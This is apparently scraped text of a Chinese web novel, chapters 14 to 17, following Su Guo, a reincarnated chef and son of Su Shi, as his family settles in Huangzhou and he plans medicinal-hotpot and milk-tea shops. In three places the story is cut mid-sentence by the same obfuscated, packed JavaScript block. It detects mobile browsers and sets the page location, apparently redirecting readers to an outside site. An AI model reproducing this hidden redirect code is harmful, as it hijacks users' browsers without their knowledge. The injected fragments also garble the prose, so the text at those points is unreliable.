不过有一点倒是没错，他们已经在看房，那田地倒是也可以看起来。之前柳氏也是建议比起做生意，多置办田地更加方便来着。 接下来的几天，苏过就猫在寺里了，早上跟着老苏上学，下午看看书，再做一些小点心，吃吃喝喝躺平，偶尔去打扰下住持方丈，已经顺利发展为忘年交的关系。 毕竟这边理论上是只有早晚两顿饭的，苏过不好直接改变习惯，于是总在中午做糕点，也算勉强一顿了，大家都接受良好。 不知是不是环境使然，在定慧院听着钟声和僧人们传来的念经声音，苏过觉得内心十分平静，很是享受这种氛围。 顶着小孩子的身体，内里虽说是个大人，但也不过只是刚成年的大孩子而已。 苏过出身厨师世家，从小就展露出了过人的厨艺天赋，于是一直被精心培养。学习和比赛占据了所有时间，他几乎没有作为小孩子正常的童年，好好玩耍过。 后来穿越到这边，也是经历了一些些惶恐和不适应。虽然口头上说的轻松，但皇权之下，个体命运难免渺小，王氏等人在他面前并不怎么表现出焦虑，但他又不是真的小孩子，很容易就感知到周围情绪，于是也假作不知，时常吃吃喝喝调节气氛，只当自己是一个真正的小孩，撒娇卖痴。 如今算是阶段性尘埃落定，终于抵达黄州，好歹会有几年安生日子。 苏过只觉得自己像条咸鱼，只想躺平。 听着梵音，甚至觉得自己是不是有一点慧根，不然怎么会在寺庙就感觉如此精神通透呢。 好地方，不想动。 苏过刚躺的昏昏欲睡，就被苏二哥叫醒了。 “小弟，快醒醒，娘说牙人那边有一套很不错的院子，让咱们一起去看看。” 啊？这么有效率么。 定慧院体验卡时间比想象中要短呀。 但是对新房子苏过还是十分上心的，立马起来跟苏二哥一起去凑热闹。 这边牙人的确很有效率，上次带看的几套王氏都不太满意，立马又找了好几套来。 有个院子是这两天刚空出来，本是船商买来小住的，结果生意太忙，总是天南地北的跑，都闲置了，于是托人租出去。 王氏看中的也正是这套。 三进的院子，距离临皋亭不远，走一小段就是江景，地势又比较高不担心水患。 船商也比较有品味，整个院子装饰大气整洁。后院外还连着一亩的良田，自住的话简单种些蔬果都很方便。 苏过对这个院子也很喜欢，无他，内院种着好几颗柿子树，还搭了一个小凉棚，挂着葡萄藤。后院还打了一口井。 现在冬天暂时还感觉不到，可以想象等夏天在下面乘凉，伸手就能摘葡萄的快乐。 到时候井水里再冰上一个西瓜，那日子，神仙不换。 老苏将前后逛了一圈，想必也和苏过想到了一处，“江山风月，本无常主，闲者便是主人，此处倒适合做个闲居主人。” 心下十分满意，两人都眼含期待看向王氏。 见两父子神情，王氏心下好笑。 又问了问，二儿子也很喜欢这里。也不纠结，直接跟牙人定下。 黄州物价低廉，此处临近码头，价格稍高，但依然可以说是物美价廉。 要不是船商目前只想出租暂不出售，直接买下也不是不可。 搞定一件大事，王氏心下稍安，又托牙人帮忙留意附近是否有良田出售，一行人便准备回去。 牙人刚完成一桩生意又有新单，忙不迭应下。 新赁的房子保养的很好，并不需要额外修葺。甚至诸多家具都直接齐备，但难免许多东西需要添补，又根据各自喜好准备寝具诸物，也着实忙了好些天。 转眼便到元宵。 苏家已经决定元宵后便搬至新居。 因此这天是在定慧院居住的最后一天。 不过半月有余，与寺内上下倒生出许多离愁别绪来。 尤其是惠冲师傅，苏过可以说和他是在厨房发展出来的革命友情。 另外还有住持方丈，是可以互称好友的存在。 却没想到更舍不得住持的，还有个苏二哥。 苏过好歹只是时常拿美食去探班，苏二哥对佛法颇有兴趣，经常去听课，跟方丈辩经，而且据说颇有慧根，若不是苏二哥本身没有出家意愿，恐怕住持要为珈蓝再添一佛子了。 种种之下，一群人又聚在一起吃元宵宴，也算是离别宴。 元宵佳节，自然少不了特色吃食。 苏过特地做了甜咸两种口味的汤圆，又做了一大碗酒酿圆子。不得不说，黄州这边的酒酿品质十分不错，香味醇厚，清甜可口。 甚至米酒也是这边一大特色，老苏特别喜欢，吃一会儿菜就喝一口，盛赞“形似玉梳白似壁,薄如蝉翼甜似蜜。” 惠冲也做了这边的特色蒸菜，选新鲜的五花肉、草鱼、芋头等裹了米粉调料腌制，再分层蒸制，鲜味互相渗透，出锅后淋上麻油，最大限度保留了食材的原味又激发出鲜香，可以说是营养又美味。 苏过向来欣赏各地美食，所做食物也不分南北菜系，力求博采众长。 因此对黄州特色美食非常感兴趣，盛赞惠冲手艺。 今天的元宵宴，所有人都吃的十分尽兴，又闲谈至夜深才散。 第二日，苏家众人便搬离了定慧院。 在新家安顿下来，一下子又是另一种闲适安逸。 还有几日才会开印上衙，老苏每天除了给孩子上课，就在附近闲逛，还沽了许多酒，不时喝上几口，吟诗看书，真是好不自在。用他自己的诗作来形容就是，“酒醉饭饱倚于几上，白云左绕，清江右回，重门洞开，林峦岔入。当是时，若有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405644|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思无所思，以受万物之备矣！” 可以说是躺平届的先锋了。 苏过本来还以为等休假结束后老苏就没这么轻松的日子。 结果开印后老苏去衙门晃悠了一圈，竟然说这边事少，老苏也没什么公务，若无要事，每旬点卯即可。 这是什么神仙工作？！虽说也没啥工资，但就这工作量，也不能要求更多了。 于是老苏每天更加潇洒自在，拿着自己的150文钱，买酒买书，给各地的好友写信报平安，讲述自己的悠闲生活。 真不知道那些本来可怜老苏被贬的好友们收到书信，会是怎样的心情。 忙忙碌碌中过去月余，他们收到书信，按日子估算苏大哥等人近日就要抵达黄州。 刚好最后一段是走水路过来。 于是他们托码头的人帮忙关注留意着。 这日，码头的闲汉来通知他们，说他们等的人到了。 苏家众人忙去码头。 苏大哥正带着人在卸行李。旁边站着一位年轻妇人，还有个奶娘正抱着一个幼儿，许是路上劳累又吃的不好，有点瘦巴巴的样子，倒显得眼睛很大，十分机灵。 苏过看的心疼极了。等打过招呼便凑到侄儿面前，逗得小孩咯咯笑。 这么可爱的小侄儿，接下来的时间，一定要把他养的白白胖胖的！ 见孩子与小叔子玩的开心，苏大嫂吕氏露出欣慰的笑容。 孩子这么小就跋山涉水，无论是大人还是小孩都折腾的够呛。幸好有苏过之前让带回的一大堆方便食品还有调料，不但大人吃的舒心，还特地准备了小孩的辅食调料与小玩具，一路上多亏了这些，才勉强哄得箪哥儿多吃了些。不然这一路下来肯定遭罪更多。 这次到黄州算是久居，除大哥一家外，旧宅老仆也一并跟了过来，有王氏陪嫁的丫头知夏，还有苏家老仆，钟氏老夫妻与儿子儿媳，还带了一个孙子，比苏过大不了两岁。 正在逗小侄儿开心，那边行李已经卸得差不多，一个妙龄少女过来回话，说行李已经清点完毕。 少女长得十分清丽，言语间带着几分聪慧灵动。苏过几乎一下子就猜到此人身份。想必就是老苏的红颜知己王朝云了。 据说王朝云能歌善舞，12岁就被老苏看中，买入家中充作侍女，之后老苏各种被贬，也是她不离不弃跟随，好像还被纳作妾室。不过红颜薄命，病逝的比较早，老苏有好多诗歌都记载了她。 作为现代灵魂，苏过对三妻四妾的制度还是有点适应不良。 不过简单观察了下，好像现在王朝云还没有成为侍妾，只作为普通侍女。对老苏满眼只有普通崇拜，反而对王氏十分亲昵。 也对，12岁到苏家时不过也只是小女孩。身在内宅，恐怕王氏对她照料更多，几乎当半个女儿了，亲昵一些也是正常。 无论如何，一家人总算是团聚了。 带着大部队回到院子，王氏早些天已简单打理安排妥当，如今人员俱齐，人手充足，很快就将行李归置完毕。 让苏大哥大嫂自去整理东西，苏过和苏二哥自告奋勇接手照顾侄儿的任务。 有奶娘在一旁协助，吕氏也没什么不放心的，随他们去，自行去整理细软。 将将两岁的箪哥儿正是好玩的年纪，走路摇摇晃晃，只会一些简单词语。 冬天院子里凉，不好疯跑，便只在屋里带着玩，哄着侄儿成功叫出三叔，苏过满心欢喜，决定给可爱的侄儿做些辅食。 不能喂太多主食，免得晚饭不好好吃，苏过便只蒸了碗双皮奶。 带着奶香味又软嫩可口的点心正适合填填肚子，还有营养。 箪哥儿吃的特别开心，啊呜一口接一口。 苏过也喂的特别得趣。 整理好东西的吕氏出来看到这一幕十分好玩，半大孩子带娃倒带的有模有样。 回过头跟苏大哥道，“过哥儿以后肯定是个好父亲。” 声音并不算小，苏过一下子听到了。 不是，对着一个九岁的孩子说这个，有点早了吧。 15. 第 15 章 因为苏大哥苏大嫂的不恰当言论。 他们失去了带娃权利（当然不是）。 实际上是吃过双皮奶后，箪哥儿粘上了做饭超好吃的三叔，像个小跟屁虫一样追着苏过跑，嘴里三叔三叔叫个不停。 苏过能怎么办呢，只能承担起带娃的重任啦。 毕竟大哥他们长途跋涉这么久，也需要好好休息几天。 反而是小孩子精力恢复快，每天跑来跑去都不带累的。 于是苏过的日程表变成了上午上课，下午带娃。 幸好小孩子精力旺盛但睡眠时间也长，白天总要睡些小觉，苏过才勉强拥有自己的一些时间。 不得不说，带娃从古至今都不是一件容易的事。 每天苏过都变着法儿的做各种辅食，箪哥儿的食谱也丰富了很多，冬季水果蔬菜都有限，于是将有限的食材几乎做出了花，光是南瓜都折腾出了南瓜粥、南瓜松饼、南瓜布丁、南瓜麻球。 还让钟叔每天去市场买鲜鱼，除了大人吃外，给小朋友单独做鱼肉丸子。 箪哥儿吃的也很开心，每天跑跑跳跳吃的香。不过月余，就从瘦巴巴的可怜宝宝变成了沉甸甸的大胖小子。 每天看着还不觉得。直到有一天吕氏抱着箪哥儿觉得沉沉的都快抱不住时，才惊觉孩子这么快就被养的白白胖胖。 于是再次肯定，过哥儿以后一定是个好父亲，带娃好手。 再次听到这种话，苏过已经能自动免疫了。 他现在正忙着给箪哥儿折腾各种玩具。 现代各种儿童玩具层出不穷，苏过也记不住那么多，就准备简单给他做点积木摇摇马一类。 特地打听了城里手艺好的木匠。 苏过画了简单的图纸，木匠经验丰富，一下子就明白了。 没过几日便将做好的玩具送了过来，做工很是精细，因是特意嘱咐给小孩子玩的，打磨的十分光滑，一根木刺都没有。 有了新玩具，苏过终于在箪哥儿那失宠了。 再加上吕氏的积极争取，苏过回到了自己的清净日子。 自由的感觉，还真挺不错的。 不得不说，老苏和苏过在某些方面还是很相似的。 当苏过从带娃生活中解放出来，开始优哉游哉折腾各种吃喝玩乐后，发现日常轨迹与老苏及其重合。 大约就是上午上课，下午苏过折腾点心，老苏绝对第一时间赶到等着吃。等吃饱喝足，两人要么一起葛优躺，要么四处闲逛。 没过多久，还发展出了钓鱼的爱好。时不时在江边一坐就是一下午。 这日，两人正在垂钓，钟叔的儿子离哥儿一路小跑过来传话，“汴京来信，晁公子的差遣定下来了。” 之前晁补之和秦观两人执弟子礼，一路护送随他们远行来黄州。 实际上晁补之此行不可谓不险。他是刚中的进士，本应该好好等着授官，甚至为职位奔走一番。结果碰上老苏的案子，费尽心思帮忙打听周旋，后面还一路送到黄州，可以说是十分有情有义。 两人之间交情本就是一段佳话，当年老苏在杭州做通判，本来想写一篇描述杭州山川风物的文章，结果看到晁补之写的类似文章《七述》，当下就大为称赞，说自己不用写了，这篇就很好。晁补之也因此扬名，两人交情渐深，后面更是加入苏门成为弟子。 去年科考，晁补之拿到府试第一，连宋神宗都称赞过他的文章，中进士后拖了小半年后，差遣也终于定下了，去北京国子监当教授。 这时的北京可不是现代的首都北京，而是河北邯郸大名府。 作为抵御辽国的军事要塞，北京不可谓不重要，但这种重要性是军事上的，论经济和文化，就要略逊一筹了。 被安排在此处国子监任职，不得不说，还是受到一些老苏的影响。 二人收好鱼干回到家。 王氏已经在安排帮忙收拾行李。 毕竟此处距离汴京甚远，消息传过来就已经费了不少时日，再要去往北京，又是一段很长的路程，中间耗时不定。若去的太晚，恐有责罚，得尽快准备才行。 苏过又开始忙活着准备远行方便食品，还好钟婶手艺不错，见他做过一遍就能上手，很是省了一些功夫。 之前是秦观和晁补之一起陪他们来黄州的。 这次去北京，路途更为遥远，担心晁补之路上安全，秦观也决定随行，顺便看看北边的风光。 对此苏过倒挺期待的。 毕竟秦观可是后世出名的婉约派，不知道去了边塞，诗词上能不能有一些新的风格突破。 很快两人便辞行北上了。 家里少了两个人，一下子还有点不适应。 老苏感触尤其明显，毕竟以前多和秦观晁补之下棋讨论文章。 如今两人都不在，别的朋友又相距甚远。虽然一直书信联系，但送一趟信常常要数月，可谓是真的只能千里共婵娟了。 老苏倒没有表现出来特别的失落。 但苏过何等敏锐，一下子就发现了老苏的发呆与小伤感。 朋友这种东西，旧的不在，那就交新的呗。 于是成天拿着好吃的到处串门，混脸熟了就开始提议搞聚会，把老苏也拖进来。 苏轼本就是社交达人，朋友遍天下。 如今交个朋友根本不在话下，于是也没多久，从左邻右舍到府衙上下，各种熟人就一大堆了。 一群人经常设宴聚在一起。老苏也是素有才名的人，在这边很受推崇。人家知道他不善饮酒，每次都专门给他准备低度数的酒。 结果老苏还调侃人家是不是给他酒里掺水。 总的来说还是玩的很开。 黄州虽然地处偏远，但吃喝玩乐并不匮乏。 附近很多温泉资源，当地富绅等多有温泉庄子。时不时邀请老苏他们去游玩。 不得不说冬天泡温泉，真是一大享受。 于是整个冬天就在吃喝玩乐与温泉中快速过去。 一开春，苏轼就迫不及待催着苏过将辣椒种下。 之前的辣椒只吃了两顿，老苏特别意犹未尽，早就盯着什么时候能多种点，好放开吃了。 院子后面的地上大半都被苏过种上了辣椒。老仆钟爷爷和钟奶奶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409407|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮忙代为打理。 好在之前王氏就买下了好几块良田，他们倒也不用担心其它蔬菜没地方种。 天气暖和后，陈季常还专门过来探望老苏。 两人一起钓鱼喝酒，好不悠闲。 临走时，苏过想起他也喜欢种地，赠送了一把辣椒种子，让他带回去试试。 除了这边，苏过甚至给定慧院的惠冲他们都赠送了些。毕竟，辣椒还是要尽快拓展种植，苏过还有宏大的麻辣火锅计划呢。 说到这个计划，经过这段时间的考察，苏过也定下了新的开店规划f。 黄州不比汴京，百姓消费水平偏低，但各种材料成本也低。而且临皋毕竟是个码头，各种往来客商不少，工人也多。完全可以走多种模式混合的方式。 这边靠山临水，本身药膳文化十分浓厚，很讲究药食同源。各家各户基本都会熬一点药膳靓汤。大家也很讲究养生。 这种不正适合来做养生锅么。 好吃和营养结合，完美。 这部分可以定位中端路线。 苏过还准备了另一个大杀器。 那就是之前吃过的，钵钵鸡。 可以直接大锅熬汤，食材按串售卖，丰俭由人。 那样霸道的香气，肯定路过的人闻到都会想要买一串尝尝。 价格也不贵，码头工人买几串下饭也是很好的。 本身苏过开店就是为了更多人吃到赚满意值，定价这块儿也不准备考虑太多利润，小赚即可。 不过目前辣椒还在生长中，且还要等一等。 苏过将近来攒下的满意值都用来换了种子，田里分批种植，等几个月后开始结果，就有源源不断的辣椒供应了。 除了火锅店。苏过近来还发现了另一个机会。 这边不但药膳文化浓厚，还佛学氛围浓厚，喜欢喝茶讲禅。附近山上有大片的茶园。 这倒让苏过想起了后世另一样风靡的产品，奶茶。 试想一下，吃完辣辣的火锅，来一杯甜甜的奶茶。 或者一边吃养生锅，一遍喝一杯养生的甜水。 简直是神仙日子。 食饮同源，系统满意值不仅是吃食才有，饮品也算在内的。 这还是前段时间给箪哥儿做饮子的时候发现。 到时候一手火锅店，一手奶茶店，那客流量和满意值，不是滚滚而来。 苏过想到这里，都美得冒泡了。 苏二哥叫了他好几声才回过神来。 “过哥儿你在想什么呢，叫你都不应。”在苏过眼前晃了几下，见他终于回神，苏迨忙问。 苏过哪能说自己正在畅想未来，于是编了个背书的借口。 苏二哥不疑有它，“家里来客人啦，有个和尚，不，有两个和尚来咱们家啦。” “嗯？是定真住持么？”他们认识的和尚也就定慧院的师傅们。 却没想到并不是。 “才不是呢，脸生的两个和尚，其中一个正在和爹对骂呢”苏二哥一脸惊奇的说道。 啊？还有这种事？ 苏过连忙往前院跑去。 16. 第 16 章 苏过飞快跑到前院堂屋，果然有两个和尚。 其中一个和他爹差不多年纪的正跟他你来我往打机锋，两人聊的好不热闹。 “禅师佛法高深，见众生无数，不知看我如何？”老苏问道。 对面禅师道了声阿弥陀佛，回他，“学士像佛。” 老苏一下子十分自得，觉得对方也算是有眼光之人，于是对方问他看自己如何时，老苏有心打趣，竟回答，“如牛粪一般，随处可见。” 听到这个回答对面只微笑不语。 老苏以为自己辩倒对方赢得一局，于是心满意足休战。 见两个孩子过来，忙招呼他们进来，介绍两位客人。 刚刚和老苏对话的叫了元禅师，乃是北宋有名高僧，更重要的是，这位禅师长得很帅！ 苏过刚才看他辩佛时就几乎要成为迷弟了。 中年帅大叔！ 这颜值，不出道简直可惜。 另一个和尚年纪很大，须发皆白。之前只是安静听老苏和了元聊天。 见苏家兄弟进来后，倒是感叹了一句，“令郎已经这么大了。” 苏过满头雾水，却见对方看的是二哥的方向。 苏迨也面带疑惑。 于是老苏解释道，“你从小体弱，四岁都还不会走路，是辩才法师为你剃发摩顶才行走如常的。” 苏家兄弟二人都很惊奇。 原来苏二哥还有这样的经历。 大约那会儿年纪还小，苏迨并不太记得这段经历，倒是听亲爹讲过后，再看辩才法师十分亲切。 两人对提到的摩顶手法十分好奇。 不过摩顶治病算是当下十分流行的一种手法。 听说仁宗刚出生的时候白天黑夜哭个不停，就是有个僧人给他按摩头顶才止住的。 还有后世著名的王阳明，据说六岁都还不会说话，也是一个和尚摩顶后才开口。 现在又听到自己二哥也是按摩后才走路。 苏过突然有种自己走进红楼梦的感觉，毕竟癞头和尚给个药丸治个病，再留下点箴言什么的，实在是太红楼了。 这些传奇主角都是大人物，莫非自己二哥也是什么伟人不成。 苏过还在暗自惊奇，苏二哥已经到辩才法师身边，开始询问各种治疗经过了，大有亲自再试一遍的架势。 苏二哥一直身体不好，虽然没什么大病，但总十分瘦弱，风寒等小病常有。 辩才法师给他再把了把脉。 苏过和苏轼十分关切的看过去。 毕竟家里其他人都身体强健爱吃爱玩，就苏二哥时不时生个小病，实在让人担心。 辩才法师看诊完毕，倒是一副处事不惊的样子，“二公子没什么大碍，不过气血有些虚弱，日常注意调养，多吃些黄芪当归等物便可。” 听到这里，苏过一下子来了兴趣。 他正在筹备着开店呢，因为黄州药材丰富，药膳文化也流行，他准备做养生锅来着。 但养生锅就不像普通锅底那般纯靠口味说话了，药材与食材的配比，相关效用还有禁忌都需要注意。 他正愁找不到人请教呢。 现在听辩才法师提起这个，可不就是现成的老师么。 于是眼带热切望向辩才。 又转向亲爹，“两位法师会在咱们家住一段日子的吧？” 见两个儿子都很喜欢辩才法师，老苏哈哈一笑，“那是自然，两位法师云游到此，怎么也得歇上几日。” 辩才法师本来在杭州上天竺寺出家，之前也是与苏轼在杭州结识。佛法高深十分出名，“辩才”的法号都是仁宗钦赐的，还送他紫衣，一度成为上天竺寺住持。 前两年却遭寺中僧人排挤，被贬到了下天竺寺。虽然没多久又重返上天竺，但法师经此更加看透世事，主动退隐，四处云游。 途中遇到同样云游的了元禅师，两人十分相投，结伴同行。 到黄州附近，想起好友苏轼也在此处，便特地前来拜访，却没想到好友与了元倒一见面就开始辩佛，不得不说有些意思。 留两位暂住些时日，又安排钟叔王朝云等帮忙整理房间，两位客人便先去休息了。 苏轼带着两个儿子回书房准备开始功课。 见两人还在讨论辩才法师的诊断和药方，轻咳一声道，“辩才法师的医术固然出众，另一位了元禅师的佛法也是不错的，虽然论禅比不上你们爹。” 见苏轼一副你们不要只迷辩才法师的表情。 苏过内心叹气。 你是不是误会了什么！ 就了元禅师那张脸，就不可能缺迷弟好么！ 想了想，还是决定戳穿他爹，“论机锋，爹你可是输了的呢。” 听到这话苏轼愣了一下，“怎么可能，了元可是亲口承认你爹像佛呢。” “可是，禅师心中有佛，所见自然皆佛，至于爹你嘛，你猜禅师后面为什么微笑不语来着。”苏过弱弱提醒。 苏轼也想到了最后了元那故作高深的微笑，一下子反应过来。 这秃驴！ 心下决定要后面找回场子。 苏过看老苏的表情就知道他在想什么。 历史上两人的确是最佳损友来着，应该闹不出什么大事。 更何况有这么一个人刺激老苏活泼一点，也挺好的。 操着长辈的心，苏过跟着二哥亲爹进了书房，开始每日学习计划。 待到下午，苏过便迫不及待去找辩才法师，想要请教药膳相关安排。 却没想到二哥比他还要早过来，正在和法师讨论医书。 仔细回忆了下，好像苏二哥的确有点医学天赋来着。 从小体弱，也算是久病成良医，不但和尚给他治病过，听说之前还找道士给他布气来着，可谓是博览众长了。 这天赋肯定遗传自老苏，毕竟老苏兴趣超级广泛，在医学上也是有些本事的，没记错的话老苏后来还会编写一本《苏学士方》来着，记录着他收集的各种方子，还擅长防疫，建了北宋版的“火神山医院”，救人无数，被好多人夸赞。 毕竟现在文人都讲究什么“不为良相，便为良医”，医学技能可是很流行的。 若不是老苏这么折腾，啥都想尝试，也不会让儿子和尚道士一把抓，什么都试一下。 对哦，老苏好像对养生也很是擅长来着。 之前怎么没想到去问下老苏呢。 果然灯下黑。 没关系，先请教辩才法师吧。 苏过便拿着自己的药膳单子，加入了聊天。 刚好苏二哥也需要食补，他们讨论讨论方子，可以先从二哥补起。 讨论了一下午，苏过抱着一堆方子，满意离开，准备去厨房实践实践。 黄州湖多山也多，中药资源很是丰富，家里刚好备了许多。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413885|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 苏过选了几样，准备给二哥做点补气血的药膳。 当然，做都做了，顺便做点通用的，大家一起补一补，毕竟今天他可是得了好多方子，不怕凑不齐一桌。 等到晚膳时，大家在桌子看到的，就是飘着药香味的一桌药膳了。 虽然是药味，但讲真还挺好闻的。 毕竟，除了功效外，药膳也是很讲究色香味俱全的。 请教方子只是为了弄清楚药材搭配与冲突禁忌。 作为金牌厨师，如何调和味道，激发食材香气，苏过可是专业的。 一边吃一边给大家介绍每一种的配料和功效。 黄芪童子鸡、当归红枣排骨汤，补气益肺，养血安神，专门为苏二哥准备。 当然，大家也都能吃，毕竟有病治病，无病强身，能做药膳的大都不是烈性药材，不大会存在体质相克的问题，不要过量就好。 更为平和一点的，苏过还准备了山药莲子粥，又将山药、扁豆、薏苡仁、莲子、芡实、茯苓等放一起做了八珍糕，无论卖相还是味道，可以说都十分出众。 还有一碗参苓白术煲鲫鱼，苏过正准备介绍，老苏却不待他开口，便问了元，“禅师可知这是什么菜？” 了元只道不知。 苏轼笑道，“这道菜，叫半鲁。” 苏过一头雾水，“这不是鱼么，怎么叫半鲁呢？” “鱼，不正是半鲁么？”老苏自得一笑。 苏过听的满脸黑线，只默默夹菜。 了元禅师倒十分从容，又露出标志的微笑，“学士所言有理，为感谢招待，明日贫僧也请学士品尝半鲁可好？” 苏轼自然满口应下，万一了元的厨艺跟他的佛法一样出众呢。 除了这个插曲，整顿晚膳倒是吃的十分和谐，美味又有营养，吃完后大家都觉得身体康健了许多。 不知是不是错觉，苏二哥吃完后气色都红润了一些。 不过药膳肯定效果没那么快的，大概率只是饭桌的热气熏的。 但以后经常补一补，身体肯定会好起来。 回到房间。 苏过打开系统开始盘算自己的库存。 每日满意值都有在稳定增加，大头主要还是来自京城的火锅店，看增长速度，收益应该挺不错。 不过这段时间他兑换了许多辣椒种子，攒的满意值用掉七七八八。距离下一次升级还很漫长。 看来还是得尽快这边开店，拓展渠道。 第二日，苏过做完功课便开始细化自己的开店计划，好方便申请启动资金，做各种准备。 等忙完出书房，却见老苏正满脸笑容的走过来，后面跟着苏二哥。 “爹，什么事这么开心，了元禅师做半鲁了么？”苏过拦住他爹。 “已经吃完了。”老苏回他。 “什么？还没到晚膳呢，单独请你的么。”苏过很是吃惊。 “你也可以去呀，还有好多呢。”苏轼一挥手。 苏过不解，看向他哥。 苏二哥面露无奈，“禅师请爹晒了一下午太阳。” 一下午太阳是什么鬼。 不对，半日。。原来是这个半鲁啊，合着你们一人请一半是吧。 老苏倒特别开心，“禅师是个妙人。” 还妙人，不是很懂你们这些文人的奇妙爽点。 苏过捧着计划书，满脸黑线离去。 17. 第 17 章 不管老苏和了元的幼稚友情。 苏过准备去忙自己的要事。 目前药膳已经收集完毕，计划书涂涂改改也准备好了。 辣椒长势喜人，再过一两个月就可以收获，那开店的前期工作就要启动起来了。 但毕竟过了年，他也才只是一个十岁孩子。 开店什么的，还是得找大人要支持，继续抱亲娘大腿。 真是成长的烦恼。 王氏正带着王朝云在里屋刺绣。 听柳氏建议，也顾及苏轼被贬身份，到黄州几个月，除了陆续买些田地之外，王氏并没有置办什么生意。就连大部分田地都是租给别人耕种，按年收一些租子，因此事情并不多，日子过的悠闲。 见儿子又拿着一叠纸来找他。 已经经历过一次的王氏哪里还有不明白的，“我儿又想开店了么？” 苏过闻之一喜，不愧是亲娘，懂他！ 忙将自己的设想和这段时间收集的养生方子讲给王氏听。 当然，核心主题就是，要钱，要人。 之前在汴京开店时，还想着只是给孩子练练手，搞砸了也无所谓。 结果苏过将店开的有声有色，李掌柜也经常夸赞。 前不久还派人送来了上个季度店铺盈利，不得不说，店铺收入超出了王氏的预期，本以为小打小闹，结果比她手下别的嫁妆铺子盈利还多。 倒让王氏发现这里面的大有可为之处。 听苏过讲起各种设想与养生锅安排。 王氏一下子挺感兴趣的，要知道养生一直都是十分流行的主题，因为二儿子从小体弱，王氏在这上面也是有一些研究的，只不过一般都是作补药来喝，跟食材结合也是到黄州才陆续接触到。 加上小儿子做出来的药膳味道她是尝过的，又有药效又有味道，可以说比起这边的药膳，更胜一筹。 热门主题加好手艺，即使在黄州这种偏辟的地方，王氏也对客流很有信心。 更何况几个月住下来，发现这边经济是不够发达，但那只是相对而言，尤其是码头这边，繁华比起汴京也是不输太多的。 当下就觉得此事可行。 王朝云在旁边也听的十分认真，等苏过讲完计划后，还提出了季节主题的概念。 毕竟这边水产山货、各种食材都挺丰富，苏过拿到的方子虽然不少，但总不能一次性推出，太多品类反而眼花缭乱，倒不如跟着时令，常换常新，更加吸引人。 苏过听到这里，十分惊讶。控制品类和主题菜单在现代餐饮行业算是比较常见的策略了，但在现在，基本都讲究特色菜一招鲜走天下，走老字号路线。 见王朝云侃侃而谈讲的十分有条理。苏过打心眼里佩服。 还以为是位文科名人，没想到琴棋书画外，连经营也讲的井井有条，古时的大佬们是真厉害。 几人讨论下，开店计划更加完善，就差安排下去执行，待辣椒成熟就开张。 到这里，苏过突然想起一事，在汴京时，有李掌柜负责经营，总揽各种事宜。 到了这边，王氏也并没有什么现成的产业，那安排谁来管理店铺呢？ 他小孩子家家的肯定不行，而且忙着功课，老苏跟王氏也不可能同意。 别人的话家里就钟氏老仆一家了，但钟叔和钟大爷种地干活还行，管账这些不知道行不行啊。 苏过将自己的疑问抛给王氏。 王氏一笑，“不是有现成的人选么。” 苏过不明所以，却见王氏目光看向旁边的王朝云。 对哦，怎么忘了这位了。 识文断字，文学出众。还头脑灵活有经商天赋。 如今大宋风气也十分开放，并没有什么女子不能经商一说。各种女户层出不穷。 这么一看，倒真的是顶顶合适的人选呢。 而且有才华的人就应该多去干干事业，比起在内宅荒废时间要好太多了。 还有一点私心。 虽然现在老苏还没有纳妾的苗头。 但历史如此，咱们要将可能性扼杀在摇篮里。 这么一位妙龄少女来当他小妈，大可不必，大可不必。 人生广阔，咱们向外探索。 于是苏过也拍手赞同，“再合适不过了。” 倒是王朝云见两人都看过来，略有些无措，“奴家一点经验都没有，如何使得。” 王氏拉了她的手，“当然使得，管账治家之前我也有教你，如今不过是一样的手段，放到外面而已，以你的聪慧，必不是问题。” 苏过也在旁边附和。 王朝云本身也不是扭捏之人，略想了想，便应下了。 “只我尚无经验，恐怕还要夫人再指点一二。” 王氏自然含笑应下。 这几个月在黄州安顿下来后，家中事务并不多，她也正闷得慌呢。 有点事做一做挺好的。 见掌柜人选落实，甚至王氏亲自指点，苏过十分高兴，这下是真的万事俱备，只待辣椒了。 商定后，王朝云和王氏就接手了一应准备事宜，从店铺选址到一应装修，几乎都包圆。 甚至在苏过的设计图上进行了细化。不得不说女性审美就是好，原本苏过只是仿着汴京店铺，考虑到实用性来做的设计。王朝云在细节上增添了许多，装修的差不多时苏过去看，简直佩服。 座位之间做了简单隔断，装饰恰到好处，细节精致，可以说将档次提高了一倍不止。 本身养生锅就是有一定追求的人才会消费，这样一来，即使非包厢雅间，也有了一定氛围，十分合适。 原本苏过还准备将钵钵鸡和养生锅一起售卖，上下兼容。 但王朝云尝过之后倒是提议分别开店。 毕竟养生锅大多清淡，讲究药香与食材香味。 